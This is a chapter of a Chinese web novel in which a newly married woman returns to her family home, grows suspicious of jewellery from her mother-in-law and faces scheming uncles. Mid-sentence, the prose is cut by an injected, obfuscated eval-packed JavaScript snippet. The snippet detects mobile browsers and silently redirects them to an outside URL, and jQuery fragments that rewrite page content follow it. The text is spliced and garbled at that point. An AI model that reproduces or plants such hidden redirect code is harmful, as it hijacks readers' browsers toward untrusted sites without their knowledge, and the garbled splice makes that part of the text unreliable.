5. 三日回门
作品:《多情小姐无情郎》 卯时正刻,晨光熹微,残星渐隐。
书房内有了响动,丫鬟婆子陆续走进屋。
王嬷嬷见内室只小小一张榻,心下直叹这二人惯会折腾,放着惜春阁那宽敞的床榻不住,偏爱挤在这书房里,也真是拿他们没办法。不过,夫人能和世子挤在这儿,倒也显出几分恩爱来。”
阙凛早已穿戴齐整,准备洗漱。王嬷嬷撸起两只袖子,掀开纱帐,见舜华果不出所料的蜷在被子里呼吸均匀,双颊红润睡的香甜。
嬷嬷叹口气,自家夫人于制香、管家理事上是一把好手,可只一点不好便是赖床了。也不知昨夜闹到了几时才入睡。
“夫人,该起了。”王嬷嬷轻声叫着。
舜华在被子里动了动,嘟囔了一句:“再睡会儿……”
转个身用被子又将自己包的严实。
昨夜躺在这张冷硬的床上,冷得她实在睡不着,黎明时分才堪堪入睡。
王嬷嬷绷着脸拉开舜华的被子,语重心长道,“新妇三日回门,要费些时辰打扮,还要向公婆问安,吃早膳,夫人快起了吧,莫要贪这须臾的暖榻,‘晨起早,暮归迟,勤谨二字福自来’,今日回门,可得早早地把这规矩立好。”
舜华只觉有只苍蝇在耳边嗡嗡嗡,掀了被子坐起身,揉了揉惺忪的睡眼,面色无奈嘟囔道,“嬷嬷,我知道了,我这就起。”
她算是怕了这王嬷嬷了。她都嫁人,成了国公府的世子夫人,仍旧逃不过被王嬷嬷一顿训。不过她原也训得,这是当年母亲身边的老人,母亲去后王嬷嬷便来照料她。
只是这嬷嬷真真是比母亲在时还要铁面无私,似关公一般。
阙凛洗漱停当,余光瞥一眼内室热闹至极的主仆两人,舜华吃瘪却不敢言的受气模样,莫名心情大好,嘴角略扬起一丝弧度。
单手勾起一块上好和田玉佩,往蹀躞带上挂,左肩在动作间隐隐酸疼不适。
他不动声色捏了捏,想到昨夜同她躺在狭窄又硬的榻上,他已经尽力拉开二人之间的距离,无奈他挪一寸,她便跟着挪,靠着他迷迷糊糊叫冷。
开了春,各院儿供应的炭应例逐渐减少,他索性直接叫下人将炉子端走。她也是该喊冷。
那头,舜华满脸困倦,双眼无神坐在席子上,由着双儿挽好髻子,插上一对点翠金凤步摇,身着一淡紫宽袖对襟衫,外罩一件素色披帛,得体而不失优雅。
“夫人要戴昨夜大夫人给的首饰回门吗?”双儿问。
舜华对着镜子左右细看了几番,想了想,“拿来我瞧瞧。”
双儿拿来一个雕花木盒,打开。
舜华在里头捡了捡,大都是些素净端庄的钗环步摇,同她今日所穿不太相称。但毕竟是大夫人昨夜送来的,她无论如何也得选一、二件儿,不然太不领情。
“这对儿耳环模样瞧着精致,同夫人穿的衣衫甚是相配。”
双儿拿起一副白玉耳坠,耳坠的主体是一块温润的白玉,边缘镶嵌着一圈细碎的金丝,下方还垂着一颗小巧的紫玉珠,与衣衫的淡紫色相得益彰。
舜华在镜子前拿着耳坠比对着,点点头,“就这个吧。”
屋子外头,明祥堂小厮来报,老爷和大夫人起了,大夫人已交代厨房多做了一些清淡粥来,等着世子爷和夫人一块儿用早膳。
舜华收拾妥当,从内室走出来,见阙凛坐在椅上已等了多时,正阖眼假寐。
“郎君久等了,我们走吧。”
阙凛缓缓睁开眼,望向舜华。
视线霎那间被定在了那对儿白玉耳坠上,身体一僵,眼中闪过一丝怀疑和冷意。
他蹙起眉头,冷声问,“这坠子…哪里来的?”
舜华不明所以,但瞧着他忽然转变的神情,她心下咯噔一声,隐约觉得不对。难不成太夫人送她的首饰有问题。
她面上故作淡定,摘下耳坠,带着娇柔的嗓音低沉的说道,“郎君怎的这副神情,吓到我了。这是昨夜大夫人赠予我的,郎君是觉着我戴着不好看吗?”
“大夫人……”阙凛的眉头蹙得愈加深了,半晌无言,好似陷入了一些回忆。
“郎君…你怎么了?”
阙凛思绪被拉扯回来,重新看向舜华,她的眼眸清澈无半点儿闪躲,他甚至能捕捉到她眼底的一丝担忧,是为他吗?
“没什么,”阙凛垂下眼,很好掩饰住情绪,只背后的一双手,青筋泛起。
“这对儿耳坠不太称你今日的穿着,还是换成昨儿戴的那对彩凤琉璃的吧。”
舜华默了片刻,扬起唇笑了笑,“好,我听郎君的。”
…
二人相携来到明祥堂。
今日,舜华特地留了心眼儿,细心观察阙魏氏在瞧她进屋时的神情。
只见她一进屋,阙魏氏便将视线全部定在她的发髻上打量,又极快将视线移到手腕上,眼中扫过一丝讶异。
舜华装作不知,依次向公婆请安问好,开始进膳。
早膳的气氛略显沉闷,阙魏氏今日的话倒不如昨日多,人也不甚热情,只偶尔抬头,审视着她的装扮。
倒是她那本着沉默是金的公公,突然张了金口,“回门是大事,你身为世子夫人,一举一动都要符合身份,不可失了礼数。”
舜华微微低头,恭敬地回答:“是,公爹,舜华谨记。”
这夫妇二人倒是有意思的紧,难不成他二人共用一张嘴。你开了口,我便张不了嘴;我张了嘴,你便开不了口。
舜华又偷偷扫向了自进屋再未喘过气,一副活死人面孔的丈夫。果不出意料,还是如同昨日一般,稳坐如钟。
今早儿阙凛的态度,叫舜华心里到底对于阙魏氏送来的首饰存了疑心。可阙凛只是叫她换下,其余只字未提,她也不好再问。还是之后慢慢细查吧。
用过早膳,舜华与阙凛起身告了辞。二人回到惜春阁更衣后,准备前往袁府。
大门外早有四匹良驹拉架的朱漆大轿候着,身后还有一队随行的家丁,丫鬟婆子跟着,皆是国公府的精挑细选。
丫鬟们头戴银饰,手持香囊和杂物,井然有序跟着。
舜华在丫鬟搀扶下坐上马车,马蹄声响,家丁们护在两旁,开始一路行进,引得路人纷纷侧目。
舜华撇了撇嘴,心道:国公府的排场,即便是在回门这样的场合,倒也是丝毫不减其威严,却也烧钱的紧,她势必得想个法儿,减少府中不必要的开支。
马车走了半个时辰,来到南街荼靡巷内的袁家。
袁家的府门前早已张灯结彩,挂满了红绸,显得喜气洋洋。
舜华的二叔伯袁犷和三叔伯袁闵早已在府门外等候。
马车在袁家大门前停下,车帘被轻轻掀起,舜华身着华服,在婆子搀扶下缓缓走下车来。
她面上带着淡笑,通身却透着一股从容不迫的气度,目光缓缓扫视着她的两位叔伯。阙凛紧随其后,身姿挺拔,气宇轩昂,引得袁家众人纷纷侧目。
舜华冷眼瞧着这两位叔伯相互对视一眼后,带着笑意走到阙凛面前。
二叔伯袁犷捋一捋长须,眼带满意,直喇喇道,“贤侄婿同舜华今日回门,我袁家可是蓬荜生辉啊。果真是我袁犷的好侄婿,一表人才,相貌堂堂!”
三叔伯袁闵有理有节,先行一礼,带着淡笑,“听闻世子爷与香道颇有造诣,早想领教,今日终可如愿了。”
舜华冷眼瞧着她这好叔伯视她如无物,个个争相拍着阙凛马屁,一口一个:世子爷,好侄婿,简直将阙凛夸的天上有地下无。
只可惜,阙凛平生最厌与人打交道,亦不会打交道,只冷着脸微微拱手,语气冷淡却也礼貌:“阙凛不敢当。”
“舜华见过二叔伯、三叔伯。”舜华适时插了口。
两位叔伯这才将视线放到了舜华身上。
袁犷打量她几眼,沉着声嗯一声。
倒是袁闵和善笑着,“舜华啊,你在阙家没有给公婆和郎君添麻烦吧,入了阙府就要听话,莫要失礼数,叫人觉得我们袁家教导无方。”
舜华盯着袁闵的眼,从容且淡定,“两位叔伯放心,舜华时刻不曾忘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878281|159675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
记自己是袁家的人,也不曾忘记叔伯的教诲,有朝一日必定报答。”
袁闵笑容加深,点头夸赞,“不愧是我的好侄女。”
处在一旁的阙凛沉默看着叔侄三人对话,他隐约嗅到一股异样。似平静湖面下暗藏着的一场随时可翻涌而起的风浪,正在悄然无息的藏匿着。
令在场所有人都没想到,阙凛不着痕迹挡在舜华身前,高声道,“我阙家上下对夫人十分满意,我亦是。”
舜华一愣,随即明白了他的用意,心中泛起一道暖流,他这是在为她撑腰的意思么?
袁犷皱着眉直盯舜华,又看了看阙凛,面上有些装不下去。
还是袁闵笑着请阙凛入了宅,“世子爷,席面儿已备好了,随我们入席吧。”
阙凛微微点头,示意舜华先行。
舜华感激向他点了点头,轻移莲步,在这两叔伯视线中缓缓走进袁家的大门。
舜华踏入袁宅,环顾左右,见上下满是喜庆模样,似她出嫁时的风光。
也是,她出了阁,几个叔伯自然是高兴的,舜华心底冷笑。
袁家秘香传女不传男,因此袁家的女子也有继承袁家一切的权利。这些年,若不是因她势单力薄,也不至于被两个狠心的叔伯压制,明里暗里吞占了许多本是袁家长房的铺子田产。
袁家老太爷只生了三个儿子,舜华的父亲是长子,因病早亡,次子便是袁犷,三子袁闵。袁家这三兄弟自长子在世时,便说好永不分家。
只因袁父说,袁氏三兄弟一起捆着,能更好打理袁家产业,二来也是为兄弟情分,一家人在一起总是好的。
便是此番隐患,终至造成现在的局面。
袁家的女眷早已在正厅等候,见舜华一行人走来,立马喜笑颜开迎上来,簇拥着舜华,往女眷的席上走去。
阙凛则被请去了前院儿的席上。
后院席上,二婶子是个锤不烂,敲不响,锯了嘴的闷葫芦。三婶子有张炮仗嘴,说起话来噼里啪啦,响个没完没了,直叫舜华头疼得紧。
——嫁到阙府可好啊,今后在阙府定要好好生侍奉公婆,敬着丈夫,也别忘了娘家这几口子人,有事儿没事儿总想着点儿这些堂兄弟们的前程。
——国公爷和国公夫人是否和善,家中中馈现今由谁掌着?定要将财权笼到自己手心儿里才好哩,抓着也踏实,你这三弟最会管账。
——世子爷现今任几品官?六品?不大不大,怎的一个世子爷才做个六品官儿,不威风,今后要如何提携你这些兄弟们,还是要劝告你的夫君,心思都放在仕途上要紧。
……
三婶子正说的上头,滔滔不绝。
忽席上响起瓷筷碎裂的声音,声不大,但足够叫众人霎那间敛了声,原本还有人夹菜的手也悄声收了回去。
舜华捂嘴惊讶道,“这筷子怎么掉了,双儿去换一双。”
三婶子瞅了眼舜华“不小心”掉落在地碎成两半的筷子,讪讪笑了笑,“还是叫我房里的丫鬟去拿吧,别累着双儿姑娘了。”
舜华未接话,只气定神闲喝着面前的汤。
周围再无人敢吵闹。
她起先还存着耐心,只当是只苍蝇围着烦扰几声,未想到三婶子见她缄默不言,反倒愈发觉着她“听话”,心中油然而生一股子优越。毕竟她如今训的是世子夫人。
因此话里话外都是高高在上命她照应着袁家三房的儿孙。
笑话!她袁舜华当年丧父丧母时,可曾见她们一个个来看顾过她吗,一个个当年落井下石,巴不得她随着爹娘去了,好夺长房的遗产。
如今倒是一口一个兄弟,哪门子的兄弟!
酒足饭饱,众人该散的也都散了。
舜华接过一碗茶漱了口,问双儿,“世子在哪?”
双儿道,“前院的席散后,三叔伯拉着世子正斗香呢。”
舜华微挑了挑眉,“在哪?”
“在正厅。”
舜华笑了笑,起身,“倒是有意思的紧,我们也去瞧瞧。”
…